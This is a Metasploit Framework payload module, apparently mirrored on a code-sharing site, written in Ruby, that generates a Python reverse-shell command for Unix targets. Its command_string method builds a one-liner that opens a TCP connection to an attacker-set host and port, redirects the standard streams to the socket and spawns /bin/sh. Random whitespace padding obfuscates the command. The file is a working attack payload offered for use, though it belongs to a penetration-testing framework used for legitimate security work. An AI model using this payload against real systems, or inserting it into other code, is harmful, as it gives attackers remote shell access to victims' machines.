Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_python.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = :dynamic
8
9
include Msf::Payload::Single
10
include Msf::Payload::Python
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'Unix Command Shell, Reverse TCP (via Python)',
18
'Version' => '$Revision: 1 $',
19
'Description' => 'Connect back and create a command shell via Python',
20
'Author' => 'bcoles',
21
'License' => MSF_LICENSE,
22
'Platform' => 'unix',
23
'Arch' => ARCH_CMD,
24
'Handler' => Msf::Handler::ReverseTcp,
25
'Session' => Msf::Sessions::CommandShell,
26
'PayloadType' => 'cmd',
27
'RequiredCmd' => 'python',
28
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
29
)
30
)
31
register_options(
32
[
33
OptString.new('SHELL', [ true, 'The system shell to use', '/bin/sh' ])
34
]
35
)
36
register_advanced_options(
37
[
38
OptString.new('PythonPath', [true, 'The path to the Python executable', 'python'])
39
]
40
)
41
end
42
43
def generate(_opts = {})
44
return super + command_string
45
end
46
47
#
48
# Generate random whitespace
49
#
50
51
def random_padding
52
' ' * rand(10)
53
end
54
55
#
56
# Generate command string
57
#
58
59
def command_string
60
raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"
61
cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")
62
"#{datastore['PythonPath']} -c \"#{py_create_exec_stub(cmd)}\""
63
end
64
end
65
66